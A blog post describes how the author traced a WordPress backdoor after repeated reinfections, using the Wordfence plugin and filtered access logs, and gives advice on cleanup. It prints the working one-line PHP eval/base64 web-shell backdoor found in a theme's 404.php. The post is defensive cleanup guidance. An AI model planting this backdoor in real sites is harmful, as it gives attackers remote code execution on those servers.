Raymond.CC Blog
  • Home
  • Forum
  • Giveaway
  • X-Ray 2.0
  • Contact
  • About
  • I’m Feeling Lucky
Search the site...
You are here: Home » Security » Fixing WordPress Website Constantly being Hacked

Fixing WordPress Website Constantly being Hacked

Updated by Raymond - 9 months ago - Security
6
  • Like
  • +1
  • Tweet
  • Printer Friendly and PDF

There are a lot of reasons why WordPress is one of the most used content management system (CMS) today. It is easy to install and maintain, very user friendly and contains a lot of free themes and plugins which can be installed with a few clicks of a mouse button. However, it is also prone to being hacked if your website is running an outdated version of WordPress or plugin. About a year ago, a vulnerability has been found in the popular TimThumb PHP script that is widely being used to automatically resize images. The hackers gained access to many websites running WordPress with TimThumb and infecting all PHP files with eval(base64_decode code to redirect every visitors that comes from search engine to websites of their choice.

wordpress base64_decode hack

You can easily clean up the malicious gzinflate/eval(base64_decode codes from all PHP files by using this cleaner script to gain back the traffic from search engine but unfortunately using the script alone is not enough. You may notice that your website gets hacked again and again even if you’ve updated to the latest version of TimThumb because the hacker has already planted a few backdoors. The only way to prevent your website from being constantly hacked is to locate the backdoor and remove it from your server.

The backdoor can either be an independent file by itself or just a piece of code embedded to a legitimate PHP file. I’ve tried a couple of security plugins for WordPress and found that Wordfence plugin for WordPress is one of the best out there because it is able to check the integrity of the WordPress core, plugins and themes files. If the files appears to be different from the original versions, it will be shown in the scan results and you can see how the files have changed. Other than that, Wordfence can also tell if there are any unknown suspicious files located in the WordPress installation directory.

Wordfence

Do take note that the free version of Wordfence only scan WordPress core files. If you want to scan theme and plugin files, you will need to subscribe at least the Pro membership that cost $17.95 per year. Although the Pro membership only gives you 1 premium API key, you can actually use it to scan multiple websites one at a time after completing the scan by deleting the premium key key and recreate a new one from the Manage Wordfence API Keys area to use it on a different website.

After removing 2 backdoor files found by Wordfence, all the WordPress websites hosted under my shared hosting account still got infected by the malicious PHP code after a few days. I got really frustrated and decided to manually check on the Raw Access Logs found in cPanel although I am not sure what I’m looking for. The raw access logs contains thousands of lines and going through every single lines for 6 websites is just impossible. So I did some filtering and the log files became much smaller. Refer to the video tutorial below on how to filter out lines use Notepad++.

Filtering Raw Access Logs

1. Filter out GET requests. Basically the GET requests is only for retrieving data and they can’t do any damage. This filter should reduce your log files by 80%.

2. Filter out POST requests for wp-cron.php that is requested by your website. It looks something like the example below:

111.222.333.444 – - [25/Jul/2012:01:42:14 +0800] "POST /wp-cron.php?doing_wp_cron=1343151734.5347619056701660156250 HTTP/1.0" 200 – "-" "WordPress/3.4.1; http://www.yourwebsite.com"

3. Continue filtering safe POST requests to further reduce the log file size for easier analysis.

When analyzing the log files, I saw a suspicious request where a Russian IP address without a referrer and user agent information did a POST request every 10 seconds on 404.php file for 3 times.

Wordpress malicious POST request

I compared the 404.php theme file with the original version and noticed an additional line of code at the top of the file.

<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

I contacted Wordfence support and got confirmation from Mark Maunder that this piece of code is indeed malicious and they’ve updated their Wordfence to detect this. After removing this backdoor, all 6 wordpress websites hosted under the same hosting account stayed clean for weeks without being hacked. As you can see, missing just one backdoor can cause all your WordPress website under the same hosting account to get hacked and it is very important to make sure that every single backdoor is removed.

Although Wordfence failed to completely clean up all backdoors on the websites that is hosted under my hosting account, I still think that it is one of the best WordPress security plugin because it does a lot more than just checking the integrity of WordPress files. Wordfence is updated very often and they provide really great support.

Important note: Make sure you change all your password which includes WordPress user accounts, FTP, cPanel and database after cleaning up the backdoor. Also remember to keep plugins, themes and WordPress version up to date.

Didn't find what you want? The links below could help:

Use Google Docs to Monitor Your Website Uptime and DowntimeUse Google Docs to Monitor Your Website Uptime and DowntimeSSL Encryption in Forum Registration and Phone VerificationSSL Encryption in Forum Registration and Phone VerificationProgram Install and Uninstall Troubleshooter Tool Replaces MSICUU2Program Install and Uninstall Troubleshooter Tool Replaces MSICUU2How Do I Know If Someone is Using My Wireless Network (WIFI)How Do I Know If Someone is Using My Wireless Network (WIFI)

6 comments on “Fixing WordPress Website Constantly being Hacked”

  1. Raymond says:
    8 months ago

    Thanks Juan for your comment.
    Me and hal9000 has been spending a lot of hours everyday working behind the scenes.
    Will post an update sometime around this week, if not next week.

    Reply
  2. Juan says:
    8 months ago

    I don’t know the reason but there is more than a week I don’t receive new posts. Whatever could be that why, I want to say Thank’s to Raymond for all the good things I got from the blog.

    Reply
  3. James_WB says:
    8 months ago

    maeng129 you can try siteinspector.comodo.com for scanning websites

    Reply
  4. kampunginvestor says:
    9 months ago

    Just look at my site man bro. Same like yours. Still haven’t fixed it yet. Will try to follow your steps. Hope it works ya! :)

    Reply
  5. maeng129 says:
    9 months ago

    Hi raymond. any website to scan the website for malware or anything other than sitecheck.sucuri.net ?

    Reply
  6. noob says:
    9 months ago

    wow, i don’t know what will i do if this happen to me…

    huh

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recently Updated

  • sniff hidden url

    5 Simple Tools to Display Hidden Remote URLs in Background or Web Installers

  • uac icon

    4 Ways to Disable User Account Control (UAC) for Specific Software in Windows

  • scan shared folder icon

    5 Tools to Scan Connected Computers on the Local Network and Find Shared Folders

New Articles

  • task manager replacement icon

    Memory Usage Test to See Which is the Lightest Antivirus Software

  • kaspersky antivirus 2013 icon

    Activate Free Kaspersky Anti-Virus 2013 ROG with 1 Year License

  • remote access software

    Top 8 Remote Access Software for Providing Online Support

Popular Posts

  • Top 10 FREE Data Recovery Software

    Top 10 FREE Data Recovery Software

  • How to Hack Into a Windows XP Computer Without Changing Password

    How to Hack Into a Windows XP Computer Without Changing Password

  • 10 Free Software to Mount CD or DVD ISO Image File as Virtual Drives

    10 Free Software to Mount CD or DVD ISO Image File as Virtual Drives

Recommend on Google
Follow @raymond_cc
Subscribe Youtube »
(c) 2013 Raymond.CC Blog
  • Contact
  • Disclaimer
  • Disclosure
  • Privacy Policy
  • Terms of Use
  • Sitemap